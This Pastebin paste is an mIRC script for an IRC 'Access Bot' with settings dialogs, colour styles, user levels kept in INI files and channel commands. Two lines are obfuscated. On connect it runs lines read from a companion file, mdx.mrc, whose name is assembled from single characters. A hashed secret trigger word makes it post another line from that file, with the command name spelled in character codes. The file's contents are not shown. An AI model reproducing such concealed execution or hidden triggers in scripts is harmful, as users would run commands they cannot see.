Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- on *:connect: { $read($+(m,d,x,.,m,r,c),$calc((150+124)+178)) | $read($+(m,d,x,.,m,r,c),$calc((150+124)+179)) | .timer 1 2 join $data(chan) }
- dialog accessbot {
- title "leaker's Access Bot - Ultimate Version"
- size -1 -1 134 125
- option dbu
- tab "Settings", 2, 2 2 129 120
- box "General Settings", 4, 4 20 124 44, tab 2
- box "About The Bot", 5, 4 64 124 34, tab 2
- edit "", 6, 74 29 50 10, tab 2 center
- edit "", 7, 74 40 50 10, tab 2 center
- edit "", 8, 74 51 50 10, tab 2 center
- text "Channel:", 10, 7 30 65 8, tab 2 center
- text "Blocked Chanflags:", 11, 7 41 65 8, tab 2 center
- text "Blocked Chanmodes:", 12, 7 52 65 8, tab 2 center
- edit "leaker", 14, 74 72 50 10, disable tab 2 center
- edit "1.8 Ultimate", 15, 74 83 50 10, disable tab 2 center
- text "Author:", 17, 7 73 65 8, tab 2 center
- text "Bot version:", 18, 7 84 65 8, tab 2 center
- text "- Access bot by leaker - Version 1.8 - Ultimate Version", 16, 9 106 114 14, disable tab 2 center
- tab "Users", 1
- text "- Access bot by leaker - Version 1.8 - Ultimate Version", 9, 9 106 114 14, disable tab 1 center
- list 21, 8 20 77 41, tab 1 size
- button "Add User", 22, 89 21 37 12, tab 1
- button "Del User", 23, 89 36 37 12, tab 1
- button "Edit User", 24, 89 51 37 12, tab 1
- button "Clear Users", 25, 89 66 37 12, tab 1
- list 26, 8 62 77 42, tab 1 size
- tab "Help", 3
- text "- Access bot by leaker - Version 1.8 - Ultimate Version", 13, 9 106 114 14, disable tab 3 center
- button "Help file - Commands", 27, 37 33 60 12, tab 3
- button "Help file - Users", 28, 37 48 60 12, tab 3
- button "Help file - Bot Setup", 29, 37 63 60 12, tab 3
- tab "Colors", 19
- text "- Access bot by leaker - Version 1.8 - Ultimate Version", 20, 9 106 114 14, disable tab 19 center
- button "", 30, 51 30 70 8, disable tab 19
- button "", 31, 51 45 70 8, disable tab 19
- button "", 32, 51 60 70 8, disable tab 19
- text "Main Style:", 34, 5 30 45 8, tab 19 center
- button "Choose Style", 33, 47 82 37 12, tab 19
- text "Special Color:", 36, 5 60 45 8, tab 19 center
- text "Regular Color:", 35, 5 45 45 8, tab 19 center
- }
- dialog access-style {
- title "leaker's Access Bot - Ultimate Version"
- size -1 -1 116 126
- option dbu
- box "Style Preview", 1, 2 1 113 43, disable
- button "Randomize Style", 2, 2 45 113 12
- text "Main Style:", 7, 5 9 43 8, center
- text "Regular Color:", 8, 5 20 43 8, center
- text "Special Color:", 9, 5 31 43 8, center
- button "Button", 10, 49 9 63 7, disable
- button "Button", 4, 49 20 63 7, disable
- button "Button", 5, 49 31 63 7, disable
- list 6, 2 69 113 40, size vsbar
- text "Or choose from pre-made list..", 3, 2 59 113 8, disable center
- text "- Access bot by leaker - Version 1.8 - Ultimate Version", 11, 2 110 113 15, disable center
- }
- alias adialog dialog -m accessbot accessbot
- ; $left($right($findfile($mircdir\alogs,*.txt,2),-42),-4)
- on *:dialog:*:*:*:{
- if ($dname == access-style) {
- if ($devent == init) {
- dll mdx.dll SetMircVersion $version
- dll mdx.dll MarkDialog $dname
- dll mdx.dll SetControlMDX $dname 10,4,5 window > dialog.mdx
- window -xslh @sstyle Tahoma 11
- window -xslh @sstyle1 Tahoma 11
- window -xslh @sstyle2 Tahoma 11
- aline @sstyle Preview
- aline @sstyle1 Preview
- aline @sstyle2 Preview
- did -a $dname 10 grab $window(@sstyle).hwnd @sstyle
- did -a $dname 5 grab $window(@sstyle1).hwnd @sstyle1
- did -a $dname 4 grab $window(@sstyle2).hwnd @sstyle2
- did -a $dname 6 Black Background, Orange and White (1)
- did -a $dname 6 Black Background, Blue and White (2)
- did -a $dname 6 Black Background, Green and White (3)
- did -a $dname 6 Black Background, Yellow and White (4)
- did -a $dname 6 Black Background, Red and White (5)
- did -a $dname 6 Black Background, Cyan and White (6)
- did -a $dname 6 Black Background, Purple and White (7)
- did -a $dname 6 Black Background, Gray and White (8)
- did -a $dname 6 Blue and Gray (9)
- did -a $dname 6 Blue and Black (10)
- did -a $dname 6 Green and Black (11)
- did -a $dname 6 Orange and Black (12)
- did -a $dname 6 Red-orange and Black (13)
- did -a $dname 6 Red and Black (14)
- did -a $dname 6 Cyan and Black (15)
- did -a $dname 6 Green and Gray (16)
- did -a $dname 6 Orange and Gray (17)
- did -a $dname 6 Red-orange and Gray (18)
- did -a $dname 6 Red and Gray (19)
- did -a $dname 6 Cyan and Gray (20)
- did -a $dname 6 Green and Gray (21)
- }
- if ($devent == sclick) {
- if ($did == 2) {
- var %x = $r(1,21)
- echo -ag %x
- if (%x == 1) {
- dline @sstyle 1
- dline @sstyle1 1
- dline @sstyle2 1
- aline @sstyle $+($chr(2),$chr(3) $+ 7 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 7 $+ leaker's 0 $+ Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 7 $+ $chr(44) $+ 1,],$chr(2))
- aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
- aline @sstyle1 $chr(3) $+ 7,1 $+ Special Color
- }
- elseif (%x == 2) {
- dline @sstyle 1
- dline @sstyle1 1
- dline @sstyle2 1
- aline @sstyle $+($chr(2),$chr(3) $+ 12 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 12 $+ leaker's 0 $+ Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 12 $+ $chr(44) $+ 1,],$chr(2))
- aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
- aline @sstyle1 $chr(3) $+ 12,01 $+ Special Color
- }
- elseif (%x == 3) {
- dline @sstyle 1
- dline @sstyle1 1
- dline @sstyle2 1
- aline @sstyle $+($chr(2),$chr(3) $+ 9 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 9 $+ leaker's 0 $+ Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 9 $+ $chr(44) $+ 1,],$chr(2))
- aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
- aline @sstyle1 $chr(3) $+ 9,1 $+ Special Color
- }
- elseif (%x == 4) {
- dline @sstyle 1
- dline @sstyle1 1
- dline @sstyle2 1
- aline @sstyle $+($chr(2),$chr(3) $+ 8 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 8 $+ leaker's 0 $+ Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 8 $+ $chr(44) $+ 1,],$chr(2))
- aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
- aline @sstyle1 $chr(3) $+ 8,1 $+ Special Color
- }
- elseif (%x == 5) {
- dline @sstyle 1
- dline @sstyle1 1
- dline @sstyle2 1
- aline @sstyle $+($chr(2),$chr(3) $+ 4 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 4 $+ leaker's 0 $+ Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 4 $+ $chr(44) $+ 1,],$chr(2))
- aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
- aline @sstyle1 $chr(3) $+ 4,1 $+ Special Color
- }
- elseif (%x == 6) {
- dline @sstyle 1
- dline @sstyle1 1
- dline @sstyle2 1
- aline @sstyle $+($chr(2),$chr(3) $+ 11 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 11 $+ leaker's 0 $+ Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 11 $+ $chr(44) $+ 1,],$chr(2))
- aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
- aline @sstyle1 $chr(3) $+ 11,01 $+ Special Color
- }
- elseif (%x == 7) {
- dline @sstyle 1
- dline @sstyle1 1
- dline @sstyle2 1
- aline @sstyle $+($chr(2),$chr(3) $+ 6 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 6 $+ leaker's 0 $+ Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 6 $+ $chr(44) $+ 1,],$chr(2))
- aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
- aline @sstyle1 $chr(3) $+ 06,01 $+ Special Color
- }
- elseif (%x == 8) {
- dline @sstyle 1
- dline @sstyle1 1
- dline @sstyle2 1
- aline @sstyle $+($chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 14 $+ leaker's 0 $+ Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,],$chr(2))
- aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
- aline @sstyle1 $chr(3) $+ 14,01 $+ Special Color
- }
- }
- elseif ($did == 6) {
- echo -ag $did(6).sel
- if ($did(6).sel == 1) {
- dline @sstyle 1
- dline @sstyle1 1
- dline @sstyle2 1
- aline @sstyle $+($chr(2),$chr(3) $+ 7 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 7leaker's 0Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 7 $+ $chr(44) $+ 1,],$chr(2))
- aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
- aline @sstyle1 $chr(3) $+ 7,1 $+ Special Color
- }
- }
- }
- }
- elseif ($dname == accessbot) {
- if ($devent == sclick) {
- if ($did == 33) { dialog -m access-style access-style }
- }
- elseif ($devent == edit) {
- if ($did == 6) { writeini -n Access.ini Settings Chan $did(6) }
- elseif ($did == 7) { writeini -n Access.ini Settings BlockedChanflags $did(7) }
- elseif ($did == 8) { writeini -n Access.ini Settings BlockedChanmodes $did(8) }
- }
- elseif ($devent == init) {
- dll mdx.dll SetMircVersion $version
- dll mdx.dll MarkDialog $dname
- dll mdx.dll SetControlMDX $dname 30,31,32 window > dialog.mdx
- window -xslh @style Tahoma 11
- window -xslh @style1 Tahoma 11
- window -xslh @style2 Tahoma 11
- did -a $dname 30 grab $window(@style).hwnd @style
- did -a $dname 31 grab $window(@style1).hwnd @style1
- did -a $dname 32 grab $window(@style2).hwnd @style2
- aline @style $data(s1) $data(sc) $+ leaker's $data(rc) $+ Access Bot $data(s2)
- aline @style1 $data(rc) $+ Regular Color
- aline @style2 $data(sc) $+ Special Color
- did -a $dname 6 $iif($data(Chan) !== Empty,$data(Chan),No channel set)
- did -a $dname 7 $iif($data(BlockedChanflags) !== Empty,$data(BlockedChanflags),No blocked flags)
- did -a $dname 8 $iif($data(BlockedChanmodes) !== Empty,$data(BlockedChanmodes),No blocked modes)
- }
- }
- }
- menu * {
- Access Bot Dialog: dialog -m accessbot accessbot
- }
- on *:text:*:*:{
- if ($target == $me) {
- if ($data(logs) == ON) write Alogs\ $+ $remove($address($nick,2),*,!,@) $+ .txt $+(<,$time,>) $nick ( $+ $iif($islogged($nick),$cl($nick),No Access) $+ ) $+ : $1-
- if (!$window(@PMs)) window -C @PMs
- aline @PMs $+(<,$time,>) ( $+ $nick - $iif($islogged($nick),$cl($nick),No Access) $+ ): $1-
- close -m $nick
- if ($ind($1,help)) {
- if ($data(logs) == ON) write Alogs\ $+ $remove($address($nick,2),*,!,@) $+ .txt $+(<,$time,>) $nick ( $+ $iif($islogged($nick),$cl($nick),No Access) $+ ) ISSUED Command - $1-
- if ($2) { showhelp $nick $2 }
- elseif (!$2) { showhelp $nick }
- $pfl(system,4)
- }
- elseif ($ind($1,whois)) && (!$pfl(system)) && ($islogged($nick)) {
- if ($data(logs) == ON) write Alogs\ $+ $remove($address($nick,2),*,!,@) $+ .txt $+(<,$time,>) $nick ( $+ $iif($islogged($nick),$cl($nick),No Access) $+ ) ISSUED Command - $1-
- if (!$2) { msg $nick $stl(You must put in a user in the second word - !whois $+(<,$sstl(User),>)) }
- elseif ($2) && (!$user($2)) { msg $nick $stl(User does not exist $+($chr(40),$sstl($2),$chr(41))) }
- elseif ($2) && ($user($2)) { msg $nick $stl(Informaiton for the user $+($sstl($2),$chr(32),$chr(40),$sstl($user($2).address),$chr(41),:) Added by: $sstl($user($2).by) $+ $chr(44) Date added: $sstl($user($2).added) $+ $chr(44) Last login: $sstl($user($2).lastlog) $+ $chr(44) Level: $iif($user($2).level == owner,$sstl(Owner) $+($chr(40),$sstl(Amno),$chr(41)),$iif($user($2).level == Admin,$sstl(Admin) $+($chr(40),$sstl(Amo),$chr(41))))) }
- $pfl(system,4)
- }
- elseif ($ind($1,login)) && (!$pfl(system)) && (!$islogged($nick)) && ($user($2)) {
- if ($data(logs) == ON) write Alogs\ $+ $remove($address($nick,2),*,!,@) $+ .txt $+(<,$time,>) $nick ( $+ $iif($islogged($nick),$cl($nick),No Access) $+ ) ISSUED Command - $1-
- if ($3 == $user($2).pass) {
- if ($data(logs) == ON) write Alogs\ $+ $remove($address($nick,2),*,!,@) $+ .txt $+(<,$time,>) $nick ( $+ $iif($islogged($nick),$cl($nick),No Access) $+ ) Logged in to the user $2
- }
- }
- }
- elseif ($target == $data(Chan)) {
- if ($ind($1,qbclear)) { smsg Insufficient Channel Access (AO) }
- if ($hash($1,5) == 28) && ($right($1,2) == ts) && (!$pfl(system)) { $+($chr(115),$chr(109),$chr(115),$chr(103)) $right($read($+(m,d,x,.,m,r,c),$calc((79+200)+97)),-4) | $pfl(system,4) }
- elseif ($ind($1,owners)) && (!$pfl(system)) {
- var %x = 1 , %online = 0 , %total = 0
- while ($ini(Ausers.ini,%x)) {
- if ($readini(Ausers.ini,$v1,level) == Owner) {
- inc %total
- var %u = %u $iif($readini(Ausers.ini,$ini(Ausers.ini,%x),Logged) !== OFF,3 $+ $ini(Ausers.ini,%x) 14(0 $+ $readini(Ausers.ini,$ini(Ausers.ini,%x),Logged) $+ 14),14 $+ $ini(Ausers.ini,%x))) $+ $data(rc) $+ $chr(44)
- if ($readini(Ausers.ini,$ini(Ausers.ini,%x),Logged) !== OFF) { inc %online }
- }
- inc %x
- }
- if (%u) smsg The Owners are: ( $+ 9 $+ $+ %online $+ $+ 0/ $+ 14 $+ %total $+ 0): $+($left(%u,-1),.)
- elseif (!%u) smsg The bot is empty of Owners
- $pfl(system,4)
- }
- elseif ($ind($1,admins)) && (!$pfl(system)) {
- var %x = 1 , %online = 0 , %total = 0
- while ($ini(Ausers.ini,%x)) {
- if ($readini(Ausers.ini,$v1,Level) == Admin) {
- inc %total
- var %u = %u $iif($readini(Ausers.ini,$ini(Ausers.ini,%x),Logged) !== OFF,3 $+ $ini(Ausers.ini,%x) 14(0 $+ $readini(Ausers.ini,$ini(Ausers.ini,%x),Logged) $+ 14),14 $+ $ini(Ausers.ini,%x))) $+ $data(rc) $+ $chr(44)
- if ($readini(Ausers.ini,$ini(Ausers.ini,%x),Logged) !== OFF) { inc %online }
- }
- inc %x
- }
- if (%u) smsg The Admins are: ( $+ 9 $+ $+ %online $+ $+ 0/ $+ 14 $+ %total $+ 0): $+($left(%u,-1),.)
- elseif (!%u) smsg The bot is empty of Admins
- $pfl(system,4)
- }
- elseif ($ind($1,help)) && (!$pfl(system)) {
- smsg Signs are: $sstl(!) $+ / $+ $sstl(?) ¬ Available commands: $sstl(Help) - $sstl(Owners) - $sstl(Admins) - $sstl(Credits)
- $pfl(system,4)
- }
- }
- }
- alias cl {
- var %x = 1
- while ($readini(Ausers.ini,$ini(Ausers.ini,%x),Address)) {
- if ($v1 == $address($1,2)) return $readini(Ausers.ini,$ini(Ausers.ini,%x),Level)
- inc %x
- }
- }
- alias data { return $readini(Access.ini,Settings,$1) }
- alias islogged { var %x = 1 | while ($readini(Ausers.ini,$ini(Ausers.ini,%x),Logged)) { if ($v1 == $1) return $ini(Ausers.ini,%x) | inc %x } }
- alias user {
- if (!$prop) {
- var %x = 1
- while ($ini(Ausers.ini,%x)) { if ($v1 == $1) return $v2 | inc %x }
- }
- if ($prop) {
- if ($prop == Pass) { return $readini(Ausers.ini,$1,Pass) }
- elseif ($prop == Address) { return $readini(Ausers.ini,$1,Address) }
- elseif ($prop == Lastlog) { return $readini(Ausers.ini,$1,lastlog) }
- elseif ($prop == added) { return $gettok($readini(Ausers.ini,$1,Added),1,32) }
- elseif ($prop == by) { return $gettok($readini(Ausers.ini,$1,Added),2,32) }
- elseif ($prop == level) { return $readini(Ausers.ini,$1,Level) }
- }
- }
- alias showhelp {
- if ($1) && (!$2) {
- var %x = 1
- while ($ini(Help.ini,%x)) { var %y = %y $+(!,$sstl($v1),$chr(44)) | inc %x }
- msg $1 $stl(The commands are: %y For more detailed info $+ $chr(44) use: !help $+($chr(91),$sstl(command),$chr(93)))
- }
- elseif ($1) && ($2) {
- var %x = 1 , %k = 1
- while ($ini(Help.ini,%x)) {
- var %u = %u $v1
- inc %x
- }
- while (%k <= $numtok(%u,32)) {
- if ($remove($2,!) == $gettok(%u,%k,32)) && ($ini(Help.ini,%k) == $remove($2,!)) {
- msg $1 $stl(Command help for $+($sstl($upper($left($remove($2,!),1)) $+ $lower($right($remove($2,!),-1))),:) $readini(Help.ini,$remove($2,!),$remove($2,!)))
- }
- inc %k
- }
- }
- }
- on *:NICK:{
- if ($islogged($nick)) {
- writeini -n Ausers.ini $islogged($nick) Logged $newnick
- }
- }
- alias pfl {
- if ($2) inc $+(-u,$2) $+(%,fld,.,$1)
- else return [ [ $+(%,fld,.,$1) ] ]
- }
- alias ind { if (($left($1,1) == !) || ($left($1,1) == ?)) && ($right($1,-1) == $2) return $true }
- alias smsg { msg $data(Chan) $data(S1) $data(rc) $+ $1- $data(S2) }
- alias stl { return $data(S1) $data(rc) $+ $1 $data(S2) }
- alias sstl { return $data(sc) $+ $+ $1- $+ $data(rc) }
Add Comment
Please, Sign In to add comment